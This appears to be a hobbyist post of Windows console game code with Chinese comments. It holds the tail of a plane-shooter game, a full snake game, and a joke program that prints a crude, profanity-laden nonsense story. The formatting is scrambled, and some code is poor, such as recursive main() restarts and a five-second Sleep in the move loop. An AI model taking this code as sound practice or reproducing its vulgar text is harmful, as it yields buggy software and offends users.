    
    while(1)
    {
        Sleep(8);
        
        if(_kbhit())
        {
            char x = _getch();
            
            if ('a' == x || 's' == x || 'd' == x || 'w' == x)
            
            {
                drawPlaneToNull();
                
                planeMove(x);
                
                drawPlane();
                
                judgePlane();
            }            
            else if ('p' == x)
            
                Pause();
                
            else if( 'k' == x)
            
                Shoot();
                
            else if( 'e' == x)
            {
                GameOver();
                
                break;
            }
                
        }
        if( 0 == flag_bullet )
        {
            bulletMove();
            
            drawBulletToNull();
            
            drawBullet();
            
            judgeEnemy();
        }            
        flag_bullet++;
        
        if( 5 == flag_bullet )
        
            flag_bullet = 0;
            
        if( 0 == flag_enemy )
        {
            drawEnemyToNull();
            
            enemyMove();
            
            drawEnemy();
            
            judgePlane();
        }
        flag_enemy++;
        
        if( flag_enemy >= rank )
        
            flag_enemy = 0;
            
        printScore();
    }
    

    }

    void Game::GameOver() { system("cls");

    COORD p1={28,9};
    
    COORD p2={53,15};
    
    drawFrame(p1, p2, '=', '|');
    
    SetPos(36,12);
    
    string str="Game Over!";
    
    for(int i=0; i<str.size(); i++)
    {
        Sleep(80);
        
        cout<<str[i];
    }
    Sleep(1000);
    
    system("cls");
    
    drawFrame(p1, p2, '=', '|');
    
    SetPos(31, 11);
    
    cout<<"击落敌机:"<<score/5<<" 架";
    
    SetPos(31, 12);
    
    cout<<"得  分:"<<score;
    
    SetPos(31, 13);
    
    cout<<"获得称号:"<<title;
    
    SetPos(30, 16);
    
    Sleep(1000);
    
    cout<<"继续? 是(y)| 否(n)制作:熊猫熊猫";
    

    as: char x=_getch();

    if (x == 'n')
    
        exit(0);
        
    else if (x == 'y')
    
    {
        system("cls");
        
        Game game;
        
        int a = drawMenu();
        
        if(a == 2)
        
            game.rank = 20;
            
        system("cls");
        
        drawPlaying();
        
        game.Playing();
    }
    else goto as;
    

    } int main() { srand((int)time(0));

    HideCursor();
    
    Game game;
    
    int a = drawMenu();
    
    if(a == 2)
    
        game.rank = 20;
        
    system("cls");
    
    drawPlaying();
    
    game.Playing();
    

    }

    贪吃蛇

    #include <stdio.h>

    #include <Windows.h>

    #include <stdlib.h>

    #include <time.h>

    #include <conio.h>

    #define ROW 22 //游戏区行数

    #define COL 42 //游戏区列数

    #define KONG 0 //标记空(什么也没有)

    #define WALL 1 //标记墙

    #define FOOD 2 //标记食物

    #define HEAD 3 //标记蛇头

    #define BODY 4 //标记蛇身

    #define UP 72 //方向键:上

    #define DOWN 80 //方向键:下

    #define LEFT 75 //方向键:左

    #define RIGHT 77 //方向键:右

    #define SPACE 32 //暂停

    #define ESC 27 //退出

    //蛇头

    struct Snake { int len; //记录蛇身长度

    int x; //蛇头横坐标
    
    int y; //蛇头纵坐标
    

    }snake;

    //蛇身

    struct Body { int x; //蛇身横坐标

    int y; //蛇身纵坐标
    

    }body[ROW*COL]; //开辟足以存储蛇身的结构体数组

    int face[ROW][COL]; //标记游戏区各个位置的状态

    //隐藏光标

    void HideCursor();

    //光标跳转

    void CursorJump(int x, int y);

    //初始化界面

    void InitInterface();

    //颜色设置

    void color(int c);

    //从文件读取最高分

    void ReadGrade();

    //更新最高分到文件

    void WriteGrade();

    //初始化蛇

    void InitSnake();

    //随机生成食物

    void RandFood();

    //判断得分与结束

    void JudgeFunc(int x, int y);

    //打印蛇与覆盖蛇

    void DrawSnake(int flag);

    //移动蛇

    void MoveSnake(int x, int y);

    //执行按键

    void run(int x, int y);

    //游戏主体逻辑函数

    void Game();

    int max, grade; //全局变量

    int main() { #pragma warning (disable:4996) //消除警告

    max = 0, grade = 0; //初始化变量
    
    system("title 贪吃蛇"); //设置cmd窗口的名字
    
    system("mode con cols=84 lines=23"); //设置cmd窗口的大小
    
    HideCursor(); //隐藏光标
    
    ReadGrade(); //从文件读取最高分到max变量
    
    InitInterface(); //初始化界面
    
    InitSnake(); //初始化蛇
    
    srand((unsigned int)time(NULL)); //设置随机数生成起点
    
    RandFood(); //随机生成食物
    
    DrawSnake(1); //打印蛇
    
    Game(); //开始游戏
    
    return 0;
    

    }

    //隐藏光标

    void HideCursor() { CONSOLE_CURSOR_INFO curInfo; //定义光标信息的结构体变量

    curInfo.dwSize = 1; //如果没赋值的话,光标隐藏无效
    
    curInfo.bVisible = FALSE; //将光标设置为不可见
    
    HANDLE handle =GetStdHandle(STD_OUTPUT_HANDLE); //获取控制台句柄
    
    SetConsoleCursorInfo(handle, &curInfo); //设置光标信息
    

    } //光标跳转

    void CursorJump(int x, int y) { COORD pos; //定义光标位置的结构体变量

    pos.X = x; //横坐标
    
    pos.Y = y; //纵坐标
    
    HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE); //获取控制台句柄
    
    SetConsoleCursorPosition(handle, pos); //设置光标位置
    

    } //初始化界面 void InitInterface() { color(6); //颜色设置为土黄色

    for (int i = 0; i < ROW; i++)
    {
        for (int j = 0; j < COL; j++)
        {
            if (j == 0 || j == COL - 1)
            {
                face[i][j] = WALL; //标记该位置为墙
                
                CursorJump(2 * j, i);
                
                printf("■");
            }
            else if (i == 0 || i == ROW - 1)
            {
                face[i][j] = WALL; //标记该位置为墙
                
                printf("■");
            }
            else
            {
                face[i][j] = KONG; //标记该位置为空
                
            }
        }
    }
    color(7); //颜色设置为白色
    
    CursorJump(0, ROW);
    
    printf("当前得分:%d", grade);
    
    
    CursorJump(COL, ROW);
    
    printf("历史最高得分:%d", max);
    

    } //颜色设置

    void color(int c) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), c); //颜色设置

    //注:SetConsoleTextAttribute是一个API(应用程序编程接口)
    

    } //从文件读取最高分

    void ReadGrade() { FILE* pf = fopen("贪吃蛇最高得分记录.txt", "r"); //以只读的方式打开文件

    if (pf == NULL) //打开文件失败
    {
        pf = fopen("贪吃蛇最高得分记录.txt", "w"); //以只写的方式打开文件
        
        fwrite(&max, sizeof(int), 1, pf); //将max写入文件(此时max为0),即将最高得分初始化为0
        
    }
    fseek(pf, 0, SEEK_SET); //使文件指针pf指向文件开头
    
    fread(&max, sizeof(int), 1, pf); //读取文件当中的最高得分到max当中
    
    fclose(pf); //关闭文件
    
    pf = NULL; //文件指针及时置空
    

    } //更新最高分到文件

    void WriteGrade() { FILE* pf = fopen("贪吃蛇最高得分记录.txt", "w"); //以只写的方式打开文件

    if (pf == NULL) //打开文件失败
    {
        printf("保存最高得分记录失败\n");
        
        exit(0);
    }
    fwrite(&grade, sizeof(int), 1, pf); //将本局游戏得分写入文件当中
    
    fclose(pf); //关闭文件
    
    pf = NULL; //文件指针及时置空
    

    } //初始化蛇 void InitSnake() { snake.len = 2; //蛇的身体长度初始化为2

    snake.x = COL / 2; //蛇头位置的横坐标
    
    snake.y = ROW / 2; //蛇头位置的纵坐标
    
    //蛇身坐标的初始化、
    
    body[0].x = COL / 2 - 1;
    
    body[0].y = ROW / 2;
    
    body[1].x = COL / 2 - 2;
    
    body[1].y = ROW / 2;
    
    //将蛇头和蛇身位置进行标记
    
    face[snake.y][snake.x] = HEAD;
    
    face[body[0].y][body[0].x] = BODY;
    
    face[body[1].y][body[1].x] = BODY;
    

    } //随机生成食物

    void RandFood() { int i, j;

    do
    {
        //随机生成食物的横纵坐标
        
        i = rand() % ROW;
        
        j = rand() % COL;
        
    } while (face[i][j] != KONG); //确保生成食物的位置为空,若不为空则重新生成
    
    face[i][j] = FOOD; //将食物位置进行标记
    
    color(12); //颜色设置为红色
    
    CursorJump(2 * j, i); //光标跳转到生成的随机位置处
    
    printf("●"); //打印食物
    

    } //判断得分与结束

    void JudgeFunc(int x, int y) { //若蛇头即将到达的位置是食物,则得分

    if (face[snake.y + y][snake.x + x] == FOOD)
    
    {
        snake.len++; //蛇身加长
        
        grade += 10; //更新当前得分
        
        color(7); //颜色设置为白色
        
        CursorJump(0, ROW);
        
        printf("当前得分:%d", grade); //重新打印当前得分
        
        RandFood(); //重新随机生成食物
    }
    //若蛇头即将到达的位置是墙或者蛇身,则游戏结束
    
    else if (face[snake.y + y][snake.x + x]
    

    == WALL || face[snake.y + y][snake.x + x] == BODY) { Sleep(1000); //留给玩家反应时间

        system("cls"); //清空屏幕
        
        color(7); //颜色设置为白色
        
        CursorJump(2 * (COL / 3), ROW / 2 - 3);
        
        if (grade > max)
        {
        
            printf("恭喜你打破最高记录,最高记录更新为%d", grade);
            
            WriteGrade();
        }
        else if (grade == max)
        {
            printf("与最高记录持平,加油再创佳绩", grade);
        }
        else
        {
            printf("请继续加油,当前与最高记录相差%d", max - grade);
        }
        CursorJump(2 * (COL / 3), ROW / 2);
        
        printf("GAME OVER");
        
        while (1) //询问玩家是否再来一局
        {
            char ch;
            
            CursorJump(2 * (COL / 3), ROW / 2 + 3);
            
            printf("再来一局?(y/n):");
            
            scanf("%c", &ch);
            
            if (ch == 'y' || ch == 'Y')
            {
                system("cls");
                
                main();
            }
            else if (ch == 'n' || ch == 'N')
            {
                CursorJump(2 * (COL / 3), ROW / 2 + 5);
                
                exit(0);
            }
            else
            {
                CursorJump(2 * (COL / 3), ROW / 2 + 5);
                
                printf("选择错误,请再次选择");
            }
        }
    }
    

    } //打印蛇与覆盖蛇

    void DrawSnake(int flag) { if (flag == 1) //打印蛇 { color(10); //颜色设置为绿色

        CursorJump(2 * snake.x, snake.y);
        
        printf("■"); //打印蛇头
        
        for (int i = 0; i < snake.len; i++)
        {
            CursorJump(2 * body[i].x, body[i].y);
            
            printf("□"); //打印蛇身
        }
    }
    else //覆盖蛇
    {
        if (body[snake.len - 1].x != 0) //防止len++后将(0, 0)位置的墙覆盖
        {
            //将蛇尾覆盖为空格即可
            
            CursorJump(2 * body[snake.len - 1].x, body[snake.len - 1].y);
            
            printf("  ");
        }
    }
    

    } //移动蛇 void MoveSnake(int x, int y) { DrawSnake(0); //先覆盖当前所显示的蛇

    face[body[snake.len - 1].y][body[snake.len - 1].x] = KONG; //蛇移动后蛇尾重新标记为空
    
    face[snake.y][snake.x] = BODY; //蛇移动后蛇头的位置变为蛇身
    
    //蛇移动后各个蛇身位置坐标需要更新
    
    for (int i = snake.len - 1; i > 0; i--)
    {
        body[i].x = body[i - 1].x;
        
        body[i].y = body[i - 1].y;
    }
    //蛇移动后蛇头位置信息变为第0个蛇身的位置信息
    
    body[0].x = snake.x;
    
    body[0].y = snake.y;
    
    //蛇头的位置更改
    
    snake.x = snake.x + x;
    
    snake.y = snake.y + y;
    
    DrawSnake(1); //打印移动后的蛇
    

    } //执行按键

    void run(int x, int y) { int t = 0;

    while (1)
    {
        if (t == 0)
        
            t = 3000; //这里t越小,蛇移动速度越快(可以根据次设置游戏难度)
            
        while (--t)
        {
            if (kbhit() != 0) //若键盘被敲击,则退出循环
            
                break;
        }
        if (t == 0) //键盘未被敲击
        {
            JudgeFunc(x, y); //判断到达该位置后,是否得分与游戏结束
            
            MoveSnake(x, y); //移动蛇
            
            Sleep(5000);
    
        }
        else //键盘被敲击
        {
            break; //返回Game函数读取键值
        }
    }
    

    } //游戏主体逻辑函数

    void Game() { int n = RIGHT; //开始游戏时,默认向后移动

    int tmp = 0; //记录蛇的移动方向
    
    goto first; //第一次进入循环先向默认方向前进
    
    while (1)
    {
        n = getch(); //读取键值
        
        //在执行前,需要对所读取的按键进行调整
        
        switch (n)
        
        {
        case UP:
        
        case DOWN: //如果敲击的是“上”或“下”
        
            if (tmp != LEFT&&tmp != RIGHT) //并且上一次蛇的移动方向不是“左”或“右”
            
            {
                n = tmp; //那么下一次蛇的移动方向设置为上一次蛇的移动方向
                
            }
            break;
            
        case LEFT:
        
        case RIGHT: //如果敲击的是“左”或“右”
        
            if (tmp != UP&&tmp != DOWN) //并且上一次蛇的移动方向不是“上”或“下”
            {
                n = tmp; //那么下一次蛇的移动方向设置为上一次蛇的移动方向
            }
        case SPACE:
        
        case ESC:
        
        case 'r':
        
        case 'R':
        
            break; //这四个无需调整
            
        default:
        
            n = tmp; //其他键无效,默认为上一次蛇移动的方向
            
            break;
        }
    first: //第一次进入循环先向默认方向前进
    
        switch (n)
        {
        case UP: //方向键:上
        
            run(0, -1); //向上移动(横坐标偏移为0,纵坐标偏移为-1)
            
            tmp = UP; //记录当前蛇的移动方向
            
            break;
            
        case DOWN: //方向键:下
        
            run(0, 1); //向下移动(横坐标偏移为0,纵坐标偏移为1)
            
            tmp = DOWN; //记录当前蛇的移动方向
            
            break;
            
        case LEFT: //方向键:左
        
            run(-1, 0); //向左移动(横坐标偏移为-1,纵坐标偏移为0)
            
            tmp = LEFT; //记录当前蛇的移动方向
            
            break;
            
        case RIGHT: //方向键:右
        
            run(1, 0); //向右移动(横坐标偏移为1,纵坐标偏移为0)
            
            tmp = RIGHT; //记录当前蛇的移动方向
            
            break;
            
        case SPACE: //暂停
        
            system("pause>nul"); //暂停后按任意键继续
            
            break;
            
        case ESC: //退出
        
            system("cls"); //清空屏幕
            
            color(7); //颜色设置为白色
            
            CursorJump(COL - 8, ROW / 2);
            
            printf("  游戏结束  ");
            
            CursorJump(COL - 8, ROW / 2 + 2);
            
            exit(0);
            
        case 'r':
        
        case 'R': //重新开始
        
            system("cls"); //清空屏幕
            
            main(); //重新执行主函数
        }
    }
    

    } #include<bits/stdc++.h> using namespace std; int main(){ cout<<"末世"<<'\n'; cout<<"第一章"<<'\n'; cout<<"泥马!"<<"你个傻X"<<'\n'; cout<<"你他妈知道我是谁吗?"<<'\n'; cout<<"你们这群2B"<<'\n'; cout<<"我他妈就是泥大椰"<<'\n'; cout<<"小瘪三们,接受我法国赌神的紫菜吧"<<'\n'; cout<<"紫菜中-------"<<'\n'; cout<<"你们这些长得像憋佬仔的莎士比亚"<<'\n'; cout<<"天天骑着奶龙环游世界"<<'\n'; cout<<"我要用爸爸的雷达检测你们"<<'\n'; cout<<"检测结果出来了"<<'\n'; cout<<"你们居然是上古大沙币"<<'\n'; cout<<"有着良好的沙币血脉传统"<<'\n'; cout<<"次日"<<'\n'; cout<<"鸡公煲鸡公煲经过我的胃"<<'\n'; cout<<"所有人,现在是12月32日"<<'\n'; cout<<"我们跨年失败了"<<'\n'; cout<<"咱们得开坦克抢劫白宫"<<'\n'; cout<<"救出蓝色妖姬的内裤"<<'\n'; cout<<"用它召唤出红太阳幼儿园的狗"<<'\n'; cout<<"紫菜刘华德"<<'\n'; cout<<"我们的口号是:"<<'\n'; cout<<"拉长耳朵,提高警惕,神经细胞,全面戒备"<<'\n'; cout<<"先点名"<<'\n'; cout<<"乌萨奇"<<'\n'; cout<<"到~~~"<<'\n'; cout<<"54188"<<'\n'; cout<<"来!行动!所有人前去后世找东北雨姐和大汗脚"<<'\n'; cout<<"注意!不要引起歪国山海经的愤怒"<<'\n'; cout<<"长官,白宫沦陷,我们刺杀了高雅人士"<<'\n'; cout<<"找到了内裤和12年的老金桔"<<'\n'; cout<<"灵珠魔丸,魔珠灵丸集结"<<'\n'; cout<<"哈!召唤鲁迅,尼尔斯,大鸡巴"<<'\n'; cout<<"雷斯库头们,冲啊"<<'\n'; cout<<"红太阳幼儿园的狗出动了"<<'\n'; cout<<"刘华德来了"<<'\n'; cout<<"高斯,乔丹,特雷杨,特靠谱,小日子全洗了"<<'\n'; cout<<"废了,CPU烧了"<<'\n'; cout<<"JJ爆"<<'\n'; cout<<"将大局逆转吧!关!"<<'\n'; cout<<"恐龙抗狼,快上"<<'\n'; cout<<"毁灭吧"<<'\n'; cout<<"你算老几"<<'\n'; cout<<"世界毁灭了"<<'\n'; cout<<"幸存者来到快乐星球"<<'\n'; cout<<"夜空中有一个声音飘荡着"<<'\n'; cout<<"什么是快乐星球"<<'\n'; cout<<"长官的兵团毁灭了,金桔也枯萎了"<<'\n'; cout<<"大家心里都知道——燃尽了"<<'\n'; cout<<"但长官心里知道"<<'\n'; cout<<"这只是暴风雨前的宁静"<<'\n'; cout<<"他还有一群正在研究的大沙币"<<'\n'; cout<<"他还有存活的可能"<<'\n'; cout<<"未完待续"<<'\n'; cout<<"作者:YYDS_MAX"<<'\n'; cout<<"选自《末世》"<<'\n'; cout<<"奇文异事出版社"<<'\n'; cout<<"请给出评价(0~100分)"<<'\n'; int n; cin>>n; cout<<"谢谢观看,再见"<<'\n'; return 0; } 总结一句;我很菜 ▄︻┻┳═一▄︻┻┳═一▄︻┻┳═一▄︻┻┳═一▄︻┻┳═一▄︻┻┳═一▄︻┻┳═一

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